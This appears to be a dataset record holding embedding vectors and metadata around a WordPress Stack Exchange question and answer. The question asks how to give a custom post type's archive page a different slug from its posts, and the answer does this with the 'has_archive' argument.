0.0340576171875, -0.0217437744140625, 0.077880859375, -0.0148468017578125, -0.001941680908203125, 0.0184478759765625, -0.02398681640625, -0.002410888671875, 0.0011873245239257812, -0.0273895263671875, -0.01148223876953125, -0.0138397216796875, -0.0140228271484375, -0.00499725341796875, -0.01078033447265625, 0.01395416259765625, 0.0364990234375, -0.044189453125, 0.0036449432373046875, 0.06976318359375, 0.0426025390625, -0.0265350341796875, -0.031280517578125, 0.002948760986328125, 0.0491943359375, -0.010772705078125, 0.036773681640625, 0.060699462890625, -0.035919189453125, 0.044769287109375, 0.037322998046875, 0.0309906005859375, 0.00339508056640625, 0.0693359375, -0.0228729248046875, -0.059814453125, 0.06866455078125, -0.0006146430969238281, -0.076416015625, 0.01309967041015625, -0.03082275390625, 0.0224609375, -0.0138092041015625, -0.00550079345703125, -0.0243072509765625, 0.0196533203125, -0.027618408203125, 0.024444580078125, -0.029998779296875, 0.007343292236328125, 0.04168701171875, 0.046661376953125, -0.0008912086486816406, -0.0200347900390625, 0.04742431640625, -0.0042877197265625, 0.0625, 0.0037689208984375, 0.0188751220703125, -0.00001138448715209961, 0.050689697265625, -0.0247039794921875, 0.03656005859375, -0.0002963542938232422, 0.05487060546875, 0.0180206298828125, -0.0211181640625, -0.0212554931640625, -0.0013761520385742188, 0.0020999908447265625, 0.006633758544921875, 0.004436492919921875, 0.034912109375, -0.0169830322265625, -0.007724761962890625, -0.0276031494140625, -0.044342041015625, -0.00812530517578125, -0.044281005859375, -0.047088623046875, 0.014617919921875, -0.0265045166015625, -0.00551605224609375, 0.035675048828125, 0.01507568359375, 0.00769805908203125, -0.032989501953125, -0.016021728515625, -0.036956787109375, 0.06292724609375, -0.0007753372192382812, -0.0181884765625, 0.011871337890625, 0.04376220703125, 0.033782958984375, -0.025146484375, -0.0298004150390625, 0.00196075439453125, 0.0538330078125, -0.0305328369140625, -0.00855255126953125, 0.0178375244140625, -0.03167724609375, 0.015411376953125, 0.00571441650390625, -0.037841796875, -0.04644775390625, 0.00032138824462890625, 0.0166015625, 0.01122283935546875, -0.031951904296875, -0.0211181640625, 0.020843505859375, -0.014068603515625, 0.03253173828125, -0.018798828125, -0.044403076171875, 0.0291290283203125, 0.037384033203125, -0.038787841796875, -0.01209259033203125, 0.04461669921875, -0.08966064453125, -0.0276336669921875, -0.01824951171875, -0.01297760009765625, 0.00666046142578125, -0.056793212890625, 0.05987548828125, -0.0183258056640625, -0.035308837890625, -0.04547119140625, 0.045928955078125, 0.01568603515625, 0.03973388671875, -0.005924224853515625, 0.00931549072265625, -0.055938720703125, -0.026580810546875, -0.02606201171875, -0.016876220703125, -0.040313720703125, -0.0192413330078125, 0.0281219482421875, 0.034088134765625, -0.00439453125, -0.01543426513671875, -0.00862884521484375, -0.01702880859375, 0.00015211105346679688, 0.0615234375, -0.034759521484375, 0.0726318359375, -0.0222015380859375, 0.037750244140625, -0.026153564453125, 0.0006060600280761719, -0.0211944580078125, 0.01202392578125, 0.0186614990234375, -0.00571441650390625, -0.0110626220703125, -0.042724609375, 0.0247650146484375, 0.004566192626953125, 0.055084228515625, -0.00043463706970214844, -0.0181732177734375, -0.0015039443969726562, 0.0052490234375, -0.039764404296875, 0.019561767578125, -0.01055908203125, -0.04278564453125, -0.00783538818359375, -0.02935791015625, -0.04229736328125, -0.0081329345703125, -0.005802154541015625, 0.0018510818481445312, 0.012542724609375, -0.01971435546875, -0.0013370513916015625, -0.0167236328125, 0.035186767578125, 0.034454345703125, 0.0268707275390625, 0.04364013671875, -0.0060577392578125, 0.0404052734375, 0.0023326873779296875, -0.002330780029296875, -0.033172607421875, -0.0170135498046875, 0.04132080078125, 0.0026187896728515625, 0.005306243896484375, 0.041534423828125, -0.003391265869140625, -0.01026153564453125, 0.02606201171875, 0.02099609375, -0.070068359375, 0.0070953369140625, 0.0018682479858398438, 0.031341552734375, 0.036712646484375, 0.0017566680908203125, -0.0155181884765625, -0.0305328369140625, 0.0460205078125, 0.0440673828125, -0.0029621124267578125, 0.0294647216796875, 0.040252685546875, -0.01064300537109375, -0.01462554931640625, 0.0123443603515625, 0.0012254714965820312, -0.04840087890625, 0.017791748046875, 0.03558349609375, -0.0047454833984375, -0.0291595458984375, 0.0069732666015625, -0.033935546875, -0.0169219970703125, -0.0528564453125, -0.021728515625, 0.00592041015625, -0.018218994140625, 0.040802001953125, 0.01236724853515625, 0.003482818603515625, 0.05181884765625, -0.00872039794921875, 0.036529541015625, -0.0034503936767578125, 0.002902984619140625, 0.00782012939453125, -0.02288818359375, 0.0328369140625, -0.008026123046875, -0.03839111328125, 0.0181121826171875, 0.0077362060546875, -0.038360595703125, -0.01343536376953125, 0.007106781005859375, 0.09271240234375, -0.00862884521484375, -0.04931640625, 0.007579803466796875, 0.00861358642578125, -0.0019178390502929688, -0.018218994140625, 0.05047607421875, -0.048248291015625, 0.0097198486328125, 0.01519012451171875, 0.03594970703125, -0.042327880859375, -0.01499176025390625, -0.07293701171875, 0.10223388671875, 0.0252227783203125, 0.034942626953125, -0.0015916824340820312, 0.04083251953125, -0.0421142578125, -0.0018520355224609375, -0.0141143798828125, 0.0284576416015625, -0.0133514404296875, -0.0002834796905517578, -0.051544189453125, -0.0030117034912109375, -0.01421356201171875, 0.05059814453125, 0.005016326904296875, -0.00028014183044433594, -0.02337646484375, -0.005146026611328125, 0.045928955078125, 0.0135040283203125, 0.007381439208984375, 0.033050537109375, 0.01348876953125, 0.04620361328125, 0.03204345703125, -0.059295654296875, 0.03118896484375, -0.04168701171875, 0.0009775161743164062, 0.03839111328125, 0.008453369140625, -0.0004000663757324219, 0.0396728515625, -0.025421142578125, -0.0175018310546875, 0.02587890625, 0.0158538818359375, -0.0171051025390625, -0.0211029052734375, 0.07147216796875, 0.050567626953125, -0.052154541015625, -0.03070068359375, -0.0267181396484375, 0.03961181640625, 0.016815185546875, -0.01318359375, -0.0265655517578125, 0.009765625, 0.0140228271484375, -0.025146484375, -0.041656494140625, 0.0418701171875, -0.001369476318359375, 0.0018024444580078125, 0.0157470703125, 0.0264129638671875, -0.0118408203125, 0.026641845703125, 0.006771087646484375, 0.0075836181640625, -0.01465606689453125, -0.0275115966796875, 0.01312255859375, -0.01294708251953125, -0.0170745849609375, -0.0124359130859375, -0.0058746337890625, -0.0226898193359375, -0.0017871856689453125, -0.034820556640625, -0.01088714599609375, 0.0160064697265625, 0.0180511474609375, -0.00989532470703125, -0.0419921875, 0.0276641845703125, -0.00785064697265625, -0.0274658203125, 0.0034027099609375, 0.0171966552734375, 0.03173828125, 0.00848388671875, 0.0265350341796875, -0.0245208740234375, -0.0063934326171875, -0.0267791748046875, 0.055999755859375, 0.02911376953125, -0.0030384063720703125, -0.0123748779296875, 0.00832366943359375, -0.00803375244140625, 0.00042366981506347656, -0.00984954833984375, -0.03228759765625, 0.014678955078125, 0.0185699462890625, -0.0214691162109375, -0.0240936279296875, -0.0037860870361328125, -0.0091705322265625, 0.00798797607421875, -0.02685546875, 0.0185699462890625, 0.00785064697265625, 0.0005955696105957031, 0.005077362060546875, 0.0219879150390625, 0.0369873046875, -0.032318115234375, 0.060089111328125, -0.011749267578125, 0.020111083984375, -0.00408172607421875, -0.0279998779296875, -0.0015544891357421875, -0.023193359375, -0.07000732421875, -0.027679443359375, -0.007080078125, -0.0208740234375, 0.0189056396484375, 0.04248046875, 0.01297760009765625, -0.0117645263671875, -0.028472900390625, -0.0005598068237304688, -0.01163482666015625, -0.016754150390625, 0.003047943115234375, 0.020233154296875, 0.00431060791015625, 0.002681732177734375, -0.046356201171875, -0.0273895263671875, -0.035919189453125, 0.03350830078125, 0.0167236328125, 0.08831787109375, -0.01186370849609375, 0.0263671875, -0.027252197265625, 0.015777587890625, -0.00980377197265625, -0.032196044921875, 0.07940673828125, 0.0254669189453125, -0.01120758056640625, -0.04107666015625, -0.08331298828125, 0.00927734375, 0.039337158203125, -0.0113067626953125, 0.0268096923828125, 0.0065460205078125, 0.00872039794921875, -0.043243408203125, 0.0333251953125, -0.0204925537109375, -0.024871826171875, -0.0479736328125, -0.00727081298828125, 0.03375244140625, 0.030426025390625, 0.0016231536865234375, 0.045135498046875, 0.033935546875, -0.016815185546875, 0.039031982421875, -0.0302581787109375, 0.0496826171875, 0.033172607421875, 0.0095977783203125, -0.047454833984375, 0.0426025390625, -0.0024662017822265625, -0.00513458251953125, 0.028411865234375, 0.06463623046875, -0.00833892822265625, 0.0027217864990234375, 0.06982421875, -0.00861358642578125, 0.0338134765625, -0.04339599609375, -0.00487518310546875, 0.054168701171875, 0.01690673828125, -0.0128173828125, -0.06085205078125, -0.0146636962890625, -0.0604248046875, -0.002407073974609375, 0.0239410400390625, -0.045623779296875, -0.015106201171875, -0.04052734375, -0.0005826950073242188, -0.002521514892578125, -0.01232147216796875, -0.011199951171875, -0.0011644363403320312, -0.0125579833984375, 0.007312774658203125, -0.026824951171875, 0.031494140625, -0.00821685791015625, 0.045013427734375, -0.0240020751953125, -0.005199432373046875, -0.01401519775390625, 0.0248565673828125, -0.007762908935546875, -0.0089111328125, 0.030029296875, -0.0035686492919921875, -0.02825927734375, -0.0279388427734375, -0.0212554931640625, 0.01349639892578125, 0.0082244873046875, -0.005397796630859375, 0.0200958251953125, -0.0145263671875, -0.0210723876953125, -0.0133819580078125, 0.01090240478515625, -0.03411865234375, -0.036895751953125, -0.01415252685546875, -0.0267486572265625, -0.023406982421875, -0.0625, -0.08642578125, 0.040374755859375, -0.007709503173828125, -0.0294952392578125, -0.0018396377563476562, 0.006038665771484375, 0.01678466796875, -0.052398681640625, -0.01129913330078125, -0.0029850006103515625, -0.0167999267578125, 0.0182647705078125, 0.01812744140625, 0.00383758544921875, 0.052734375, -0.029052734375, -0.086181640625, -0.0278472900390625, -0.0382080078125, 0.0190887451171875, -0.033050537109375, 0.01447296142578125, -0.01145172119140625, 0.026947021484375, -0.0289459228515625, -0.0267181396484375, 0.01593017578125, 0.0113067626953125, 0.01172637939453125, 0.00946044921875, -0.025421142578125, -0.0054931640625, 0.0472412109375, -0.002925872802734375, 0.0151214599609375, -0.0118255615234375, 0.0303955078125, 0.006237030029296875, -0.08319091796875, -0.01806640625, 0.047119140625, -0.075927734375, -0.03314208984375, 0.006443023681640625, -0.0054779052734375, 0.0082244873046875, -0.05181884765625, -0.0210723876953125, -0.0167236328125, -0.004932403564453125, 0.020111083984375, -0.0022335052490234375, -0.025177001953125, 0.0689697265625, -0.02899169921875, 0.0494384765625, -0.018768310546875, 0.0223541259765625, 0.0697021484375, 0.01641845703125, -0.0041656494140625, -0.0182342529296875, -0.0022335052490234375, 0.007808685302734375, 0.0023021697998046875, 0.005908966064453125, 0.0020751953125, -0.0106964111328125, -0.007305145263671875, -0.0103302001953125, -0.0061187744140625, -0.01268768310546875, -0.00952911376953125, 0.007144927978515625, -0.017181396484375, 0.040435791015625, -0.0279693603515625, 0.0411376953125, -0.01776123046875, 0.0230560302734375, 0.017578125, -0.003444671630859375, 0.05560302734375, 0.00418853759765625, -0.0025348663330078125, -0.02496337890625, -0.0203857421875, -0.0310516357421875, 0.0112152099609375, -0.0238037109375, -0.034637451171875, 0.01751708984375 ]
106ed901ee698770bbcfb6ccd4f6b6621783f155
Wordpress Stackexchange Q: How to rewrite slug of custom post type archive page I have a CPT called "case-studies" and the slug of the archive page of this CPT is www.my-domain.com/case-studies and the slug of the CPT posts is www.my-domain.com/case-studies/case-study-name. Now, for SEO purposes, I have to change the slug of the archive page to "testimonials-case-studies" so the slug for the "case-studies" archive page it has to be www.my-domain.com/testimonials-case-studies/ and the slug for the posts have to be www.my-domain.com/case-studies/case-study-name (same as before). What is the best way or the solution for this? What I have tried so far is: * *creating a custom page template and change the slug of the page to /testimonials-case-studies/ and redirect /case-studies/ to /testimonials-case-studies/ but the posts www.my-domain.com/case-studies/case-study-name are not working because there is a problem with redirection. *Using: 'rewrite' => array( 'slug' => 'testimonials-case-studies', 'with_front' => false ), In the custom post type BUT the slug for the post change to www.my-domain.com/testimonials-case-studies/case-study-name but IT HAS to be: www.my-domain.com/case-studies/case-study-name Is there a possible solution for this? A: Pass the desired archive slug via has_archive: $args = array( 'rewrite' => array( 'slug' => 'case-studies' ), 'has_archive' => 'testimonials-case-studies', );
Q: How to rewrite slug of custom post type archive page I have a CPT called "case-studies" and the slug of the archive page of this CPT is www.my-domain.com/case-studies and the slug of the CPT posts is www.my-domain.com/case-studies/case-study-name. Now, for SEO purposes, I have to change the slug of the archive page to "testimonials-case-studies" so the slug for the "case-studies" archive page it has to be www.my-domain.com/testimonials-case-studies/ and the slug for the posts have to be www.my-domain.com/case-studies/case-study-name (same as before). What is the best way or the solution for this? What I have tried so far is: * *creating a custom page template and change the slug of the page to /testimonials-case-studies/ and redirect /case-studies/ to /testimonials-case-studies/ but the posts www.my-domain.com/case-studies/case-study-name are not working because there is a problem with redirection. *Using: 'rewrite' => array( 'slug' => 'testimonials-case-studies', 'with_front' => false ), In the custom post type BUT the slug for the post change to www.my-domain.com/testimonials-case-studies/case-study-name but IT HAS to be: www.my-domain.com/case-studies/case-study-name Is there a possible solution for this? A: Pass the desired archive slug via has_archive: $args = array( 'rewrite' => array( 'slug' => 'case-studies' ), 'has_archive' => 'testimonials-case-studies', );
wordpress
{ "language": "en", "length": 191, "provenance": "stackexchange_00019.jsonl.gz:487439", "question_score": "5", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/307788" }
[ 0.04583740234375, 0.0016460418701171875, -0.0023174285888671875, -0.0256805419921875, -0.0005550384521484375, -0.018310546875, 0.037567138671875, -0.0142669677734375, -0.0193634033203125, 0.0261077880859375, 0.0112762451171875, -0.00597381591796875, 0.009765625, -0.03533935546875, 0.01113128662109375, 0.0045166015625, 0.00682830810546875, -0.0007538795471191406, 0.0229034423828125, -0.0300445556640625, 0.01291656494140625, -0.0157470703125, 0.01102447509765625, 0.0218048095703125, 0.0099334716796875, -0.01898193359375, 0.03955078125, -0.046600341796875, -0.0001990795135498047, -0.032928466796875, 0.00820159912109375, 0.03350830078125, 0.038116455078125, -0.00335693359375, 0.003543853759765625, 0.06353759765625, -0.006252288818359375, 0.007335662841796875, 0.00905609130859375, 0.00795745849609375, 0.016326904296875, -0.0169219970703125, 0.034271240234375, -0.02301025390625, 0.034698486328125, -0.0266265869140625, 0.0191802978515625, -0.07196044921875, 0.0189361572265625, 0.0178375244140625, -0.01209259033203125, 0.0638427734375, -0.018646240234375, 0.002216339111328125, 0.00853729248046875, 0.0171966552734375, -0.043243408203125, 0.021759033203125, 0.0294952392578125, -0.018768310546875, -0.0044403076171875, -0.01255035400390625, 0.027923583984375, 0.029083251953125, -0.0005245208740234375, 0.01375579833984375, -0.01436614990234375, 0.0186767578125, -0.046142578125, -0.0102691650390625, 0.00495147705078125, -0.029876708984375, 0.024383544921875, -0.000005662441253662109, -0.031890869140625, -0.05694580078125, 0.03790283203125, -0.0268707275390625, 0.0027313232421875, -0.006256103515625, 0.0005221366882324219, -0.0187835693359375, 0.01354217529296875, -0.027557373046875, -0.00269317626953125, -0.00849151611328125, -0.019256591796875, -0.0031604766845703125, -0.00824737548828125, -0.00843048095703125, -0.0165863037109375, 0.0037250518798828125, -0.01230621337890625, 0.037689208984375, 0.001262664794921875, -0.01082611083984375, 0.041259765625, -0.0024013519287109375, 0.0199127197265625, -0.004467010498046875, 0.03515625, -0.06707763671875, 0.034912109375, -0.01666259765625, -0.0016632080078125, 0.049224853515625, 0.049468994140625, 0.07464599609375, 0.038360595703125, -0.01351165771484375, -0.00057220458984375, 0.02862548828125, -0.03460693359375, -0.04052734375, 0.0009565353393554688, 0.0579833984375, -0.026275634765625, 0.00702667236328125, 0.006786346435546875, 0.033935546875, 0.019622802734375, 0.0372314453125, 0.048309326171875, -0.031524658203125, -0.0247955322265625, -0.004791259765625, -0.017120361328125, -0.0718994140625, 0.04229736328125, 0.0689697265625, -0.047271728515625, -0.0160675048828125, 0.03460693359375, -0.0029754638671875, 0.00399017333984375, -0.037139892578125, 0.035125732421875, -0.0195770263671875, -0.01119232177734375, 0.00812530517578125, 0.006473541259765625, 0.005908966064453125, 0.01509857177734375, -0.026214599609375, 0.033477783203125, 0.01885986328125, 0.01629638671875, 0.006977081298828125, -0.0028629302978515625, -0.014801025390625, 0.025665283203125, -0.042327880859375, 0.051483154296875, -0.018280029296875, -0.08087158203125, -0.05218505859375, -0.07476806640625, -0.0053863525390625, 0.0192108154296875, -0.026824951171875, 0.00717926025390625, -0.002811431884765625, -0.004627227783203125, -0.022705078125, -0.035552978515625, 0.01451873779296875, -0.010894775390625, -0.0031528472900390625, 0.0227813720703125, 0.043243408203125, -0.0220794677734375, -0.03887939453125, -0.0299835205078125, 0.0421142578125, 0.0163726806640625, 0.0545654296875, 0.0058135986328125, 0.018035888671875, 0.00980377197265625, 0.03271484375, -0.0013189315795898438, -0.0328369140625, 0.037445068359375, -0.006946563720703125, -0.031585693359375, 0.048828125, 0.0008368492126464844, 0.06201171875, 0.0035381317138671875, 0.02294921875, -0.03363037109375, 0.0175323486328125, -0.0104522705078125, 0.061279296875, -0.01849365234375, -0.051483154296875, 0.0128173828125, 0.004467010498046875, -0.02685546875, -0.006153106689453125, -0.01611328125, 0.031219482421875, -0.0270538330078125, 0.0216217041015625, -0.034881591796875, 0.00458526611328125, -0.00998687744140625, 0.039306640625, 0.015869140625, 0.028076171875, -0.00464630126953125, 0.00815582275390625, -0.016845703125, -0.0283966064453125, -0.01158905029296875, 0.0268402099609375, 0.023101806640625, -0.010650634765625, -0.0305938720703125, -0.01030731201171875, -0.016387939453125, 0.00293731689453125, -0.031707763671875, 0.04669189453125, 0.032501220703125, -0.00872039794921875, -0.02337646484375, -0.02288818359375, -0.039642333984375, 0.005779266357421875, -0.06573486328125, 0.06927490234375, 0.0548095703125, 0.03424072265625, -0.026641845703125, 0.0097808837890625, 0.01343536376953125, -0.038909912109375, 0.0007467269897460938, 0.03924560546875, 0.00843048095703125, 0.0213623046875, -0.01788330078125, 0.043182373046875, 0.00936126708984375, -0.034637451171875, -0.0091400146484375, 0.0233001708984375, -0.00012576580047607422, 0.044830322265625, 0.03759765625, 0.039306640625, 0.004230499267578125, -0.00677490234375, 0.021759033203125, 0.03411865234375, -0.01502227783203125, -0.0303497314453125, 0.009552001953125, 0.007480621337890625, -0.002063751220703125, 0.0168914794921875, 0.0027599334716796875, 0.009735107421875, -0.0212860107421875, 0.06048583984375, 0.0085601806640625, 0.01222991943359375, -0.054351806640625, 0.04791259765625, 0.027252197265625, -0.0069732666015625, -0.00530242919921875, 0.0259246826171875, 0.048065185546875, -0.0015230178833007812, -0.018218994140625, -0.01012420654296875, 0.0011615753173828125, 0.007068634033203125, -0.0016641616821289062, 0.037109375, 0.0263214111328125, -0.00527191162109375, -0.03912353515625, -0.02532958984375, 0.03802490234375, 0.047607421875, 0.015869140625, 0.0017948150634765625, 0.016326904296875, 0.041717529296875, 0.0026607513427734375, 0.017608642578125, 0.053253173828125, -0.0186309814453125, 0.01129150390625, -0.0201263427734375, 0.01331329345703125, -0.01276397705078125, 0.0516357421875, 0.056671142578125, 0.0000871419906616211, 0.0092315673828125, 0.00047969818115234375, -0.0303192138671875, -0.02105712890625, 0.035980224609375, 0.0029144287109375, -0.03656005859375, -0.0296173095703125, 0.021728515625, 0.0269927978515625, 0.0543212890625, 0.0009312629699707031, -0.019683837890625, 0.002288818359375, 0.037139892578125, -0.043121337890625, -0.060394287109375, 0.03515625, -0.05047607421875, 0.005695343017578125, 0.0155029296875, -0.041046142578125, -0.0222320556640625, 0.053070068359375, -0.0017261505126953125, 0.054412841796875, -0.0211181640625, -0.0509033203125, -0.0293731689453125, -0.08685302734375, -0.06170654296875, 0.007251739501953125, 0.01020050048828125, 0.022613525390625, -0.0177764892578125, 0.00839996337890625, 0.0093994140625, 0.061553955078125, 0.0293121337890625, -0.007843017578125, -0.006763458251953125, -0.0140228271484375, -0.015655517578125, -0.0305938720703125, 0.01355743408203125, 0.076171875, -0.0056610107421875, -0.00891876220703125, -0.00682830810546875, -0.0036678314208984375, 0.002567291259765625, 0.0035953521728515625, 0.0290374755859375, 0.0201873779296875, -0.012237548828125, 0.01004791259765625, -0.044891357421875, -0.038330078125, -0.0043182373046875, -0.033966064453125, 0.004150390625, 0.0121917724609375, 0.003826141357421875, -0.03826904296875, 0.031982421875, 0.00969696044921875, 0.0282745361328125, 0.054931640625, -0.0048980712890625, -0.00934600830078125, -0.032318115234375, -0.03546142578125, -0.047698974609375, 0.07989501953125, 0.008270263671875, -0.02703857421875, 0.0305023193359375, -0.0021228790283203125, 0.0048370361328125, -0.03582763671875, -0.048187255859375, -0.07568359375, 0.0167694091796875, -0.0870361328125, -0.006744384765625, -0.02276611328125, 0.0153961181640625, 0.0177764892578125, 0.06463623046875, -0.06817626953125, -0.02801513671875, 0.0083465576171875, -0.0161895751953125, 0.07977294921875, 0.052886962890625, -0.0240325927734375, -0.04144287109375, -0.047607421875, -0.0113372802734375, -0.01678466796875, -0.0350341796875, 0.0228729248046875, -0.04510498046875, -0.004276275634765625, -0.03924560546875, 0.0531005859375, 0.0017862319946289062, 0.0389404296875, -0.024444580078125, 0.016876220703125, -0.0180511474609375, -0.0450439453125, -0.0015172958374023438, -0.08941650390625, -0.0211944580078125, 0.03662109375, 0.044586181640625, -0.031982421875, -0.0098419189453125, -0.024261474609375, 0.05450439453125, 0.010986328125, 0.001049041748046875, 0.01082611083984375, -0.0264892578125, -0.0192718505859375, 0.04461669921875, 0.005828857421875, 0.007030487060546875, 0.012847900390625, -0.019622802734375, -0.081298828125, -0.0308837890625, -0.0178985595703125, 0.02630615234375, 0.038482666015625, -0.0513916015625, -0.08038330078125, -0.0386962890625, 0.0305023193359375, 0.01422119140625, 0.0250701904296875, -0.00460052490234375, -0.04803466796875, -0.047271728515625, -0.00390625, 0.0286407470703125, -0.036346435546875, 0.020355224609375, -0.01206207275390625, 0.01446533203125, -0.0282440185546875, -0.033294677734375, 0.00942230224609375, 0.02130126953125, 0.00028252601623535156, 0.0257720947265625, 0.0111236572265625, 0.0034465789794921875, 0.016082763671875, -0.00928497314453125, -0.01064300537109375, 0.01369476318359375, 0.04345703125, 0.01074981689453125, -0.00838470458984375, 0.01070404052734375, -0.004901885986328125, 0.00975799560546875, 0.01861572265625, -0.017822265625, 0.0006175041198730469, -0.0106048583984375, 0.040771484375, -0.0182647705078125, 0.01476287841796875, -0.0509033203125, -0.0477294921875, 0.024810791015625, 0.0031528472900390625, 0.041046142578125, 0.0170745849609375, 0.001293182373046875, 0.0506591796875, -0.0157318115234375, 0.0099945068359375, -0.05780029296875, -0.01690673828125, -0.0298004150390625, 0.019439697265625, -0.01073455810546875, 0.01226043701171875, -0.0281829833984375, -0.00997161865234375, 0.034942626953125, 0.01336669921875, -0.032928466796875, 0.0026645660400390625, -0.0216064453125, -0.0206756591796875, 0.00217437744140625, -0.03936767578125, 0.026885986328125, 0.04522705078125, -0.019134521484375, 0.0173797607421875, -0.036651611328125, -0.0037441253662109375, -0.035308837890625, 0.043914794921875, 0.0166015625, 0.001750946044921875, -0.002262115478515625, 0.0595703125, 0.053680419921875, 0.0028896331787109375, -0.03924560546875, 0.01506805419921875, 0.043426513671875, 0.04180908203125, 0.026580810546875, -0.04791259765625, -0.0293121337890625, 0.032073974609375, 0.00028395652770996094, -0.0276336669921875, 0.0005521774291992188, 0.002407073974609375, 0.054107666015625, -0.038116455078125, -0.035064697265625, 0.039093017578125, -0.04302978515625, -0.004619598388671875, -0.0304107666015625, -0.0333251953125, 0.004840850830078125, 0.01116943359375, -0.01276397705078125, -0.01389312744140625, 0.00897979736328125, -0.02191162109375, -0.0311737060546875, -0.06256103515625, -0.01540374755859375, 0.00850677490234375, -0.002750396728515625, -0.016082763671875, -0.031463623046875, 0.0165863037109375, -0.0225067138671875, -0.0116119384765625, 0.025177001953125, -0.0013208389282226562, -0.0194091796875, -0.01180267333984375, 0.04315185546875, -0.022430419921875, 0.00885009765625, -0.0077056884765625, -0.01244354248046875, 0.032135009765625, -0.010772705078125, 0.07391357421875, 0.0154876708984375, -0.05181884765625, 0.0169525146484375, -0.01175689697265625, 0.02825927734375, 0.046173095703125, -0.0352783203125, 0.0010776519775390625, -0.044158935546875, 0.015472412109375, 0.02276611328125, 0.006664276123046875, -0.0213165283203125, -0.01001739501953125, 0.016357421875, 0.0186614990234375, 0.037628173828125, -0.0298004150390625, 0.053924560546875, -0.00885772705078125, 0.050567626953125, -0.018890380859375, 0.0037994384765625, 0.005767822265625, -0.01025390625, -0.0330810546875, -0.06097412109375, 0.00714874267578125, 0.030731201171875, -0.048828125, 0.0797119140625, 0.1192626953125, 0.0240020751953125, -0.0341796875, -0.0029621124267578125, -0.004543304443359375, -0.0219268798828125, 0.053924560546875, -0.01739501953125, -0.01373291015625, -0.0171966552734375, -0.0010747909545898438, 0.07904052734375, -0.0057373046875, -0.0165863037109375, -0.010833740234375, -0.01702880859375, 0.021270751953125, 0.0294036865234375, -0.0638427734375, 0.036712646484375, 0.0679931640625, 0.0496826171875, 0.04791259765625, 0.0061187744140625, 0.0087432861328125, 0.01214599609375, 0.00382232666015625, 0.00792694091796875, 0.006805419921875, 0.08099365234375, 0.009796142578125, -0.01332855224609375, 0.0633544921875, -0.034698486328125, -0.0024929046630859375, 0.038818359375, 0.02569580078125, -0.06280517578125, -0.0168304443359375, -0.0026607513427734375, -0.0207061767578125, -0.0004425048828125, 0.021453857421875, -0.0071563720703125, 0.05645751953125, -0.00017559528350830078, -0.042877197265625, -0.0255584716796875, 0.01390838623046875, 0.032867431640625, -0.004619598388671875, 0.029998779296875, 0.041656494140625, 0.007503509521484375, -0.07159423828125, 0.0016803741455078125, 0.0272979736328125, -0.0108795166015625, -0.01503753662109375, -0.004489898681640625, 0.0369873046875, -0.0141143798828125, -0.026092529296875, 0.05377197265625, -0.047210693359375, -0.005702972412109375, 0.034820556640625, 0.0240631103515625, 0.023529052734375, 0.0243377685546875, 0.003963470458984375, 0.005401611328125, -0.0089111328125, 0.026458740234375, -0.0294342041015625, -0.0087432861328125, 0.0002551078796386719, 0.0301971435546875, 0.02484130859375, 0.01561737060546875, -0.006206512451171875, -0.01264190673828125, -0.0239105224609375, -0.028778076171875, 0.058990478515625, -0.053924560546875, -0.01175689697265625, 0.01030731201171875, 0.0224761962890625, 0.00989532470703125, 0.0038604736328125, 0.03692626953125, -0.0516357421875, -0.032012939453125, 0.01412200927734375, -0.04327392578125, -0.039031982421875, -0.016632080078125, -0.0634765625, 0.1258544921875, 0.00836181640625, 0.036712646484375, 0.00936126708984375, 0.053924560546875, -0.01216888427734375, 0.03759765625, -0.0272979736328125, 0.0377197265625, -0.01544189453125, 0.030548095703125, -0.053192138671875, -0.0106658935546875, -0.0095062255859375, 0.037445068359375, 0.0302581787109375, 0.00920867919921875, -0.05853271484375, 0.0006918907165527344, 0.05462646484375, 0.02618408203125, 0.01247406005859375, 0.049224853515625, -0.0215606689453125, 0.00592041015625, -0.0019512176513671875, -0.0035114288330078125, 0.019378662109375, 0.01039886474609375, -0.064453125, 0.007785797119140625, 0.01061248779296875, 0.007686614990234375, -0.0277557373046875, -0.00800323486328125, -0.00003629922866821289, -0.028778076171875, 0.0035762786865234375, -0.00405120849609375, -0.0218505859375, 0.0272674560546875, 0.0511474609375, -0.051788330078125, -0.03155517578125, -0.01454925537109375, 0.053314208984375, 0.0435791015625, -0.01340484619140625, 0.01142120361328125, -0.0025501251220703125, 0.01435089111328125, -0.0027446746826171875, -0.024505615234375, 0.0236358642578125, 0.01131439208984375, 0.0261993408203125, 0.05096435546875, 0.01316070556640625, 0.0167083740234375, 0.0682373046875, 0.01258087158203125, 0.0219879150390625, -0.049530029296875, 0.01580810546875, 0.0210723876953125, 0.00290679931640625, -0.0244598388671875, -0.0369873046875, 0.013427734375, 0.0033016204833984375, -0.032684326171875, -0.039703369140625, 0.01151275634765625, -0.01241302490234375, 0.004428863525390625, -0.0355224609375, -0.06365966796875, 0.0296478271484375, 0.0413818359375, -0.0174407958984375, -0.00872802734375, 0.00872802734375, 0.045928955078125, 0.02117919921875, -0.0037384033203125, -0.036834716796875, -0.0182647705078125, -0.01224517822265625, 0.054656982421875, -0.0032024383544921875, 0.021209716796875, -0.0533447265625, -0.062103271484375, 0.008392333984375, 0.040618896484375, 0.048797607421875, 0.01479339599609375, 0.04925537109375, 0.04852294921875, 0.00804901123046875, 0.0041046142578125, 0.05419921875, -0.0025177001953125, 0.04840087890625, -0.059661865234375, 0.02880859375, -0.02734375, -0.00801849365234375, -0.0290679931640625, -0.0009331703186035156, 0.0174713134765625, 0.01373291015625, 0.03662109375, 0.0124053955078125, -0.005313873291015625, 0.03424072265625, -0.006320953369140625, 0.05059814453125, 0.049285888671875, 0.0308380126953125, 0.001331329345703125, -0.00798797607421875, -0.0687255859375, 0.017120361328125, 0.05517578125, 0.007904052734375, -0.0011453628540039062, 0.006011962890625, 0.004119873046875, -0.01788330078125, 0.005828857421875, -0.016510009765625, -0.001544952392578125, 0.035308837890625, 0.0074920654296875, -0.030914306640625, -0.0213165283203125, -0.009063720703125, 0.0350341796875, -0.00850677490234375, 0.1094970703125, -0.04168701171875, 0.0177459716796875, 0.000057816505432128906, -0.00669097900390625, 0.0049896240234375, -0.01163482666015625, 0.019775390625, -0.0020732879638671875, -0.002170562744140625, -0.00762176513671875, 0.002262115478515625, -0.018310546875, 0.06378173828125, -0.05841064453125, -0.0245819091796875, 0.020843505859375, 0.0152740478515625, -0.051361083984375, -0.010498046875, -0.03375244140625, -0.052154541015625, -0.022918701171875, 0.0178375244140625, -0.00428009033203125, -0.010101318359375, -0.035552978515625, 0.047119140625, 0.0022106170654296875, -0.0183258056640625, 0.003997802734375, -0.041046142578125, 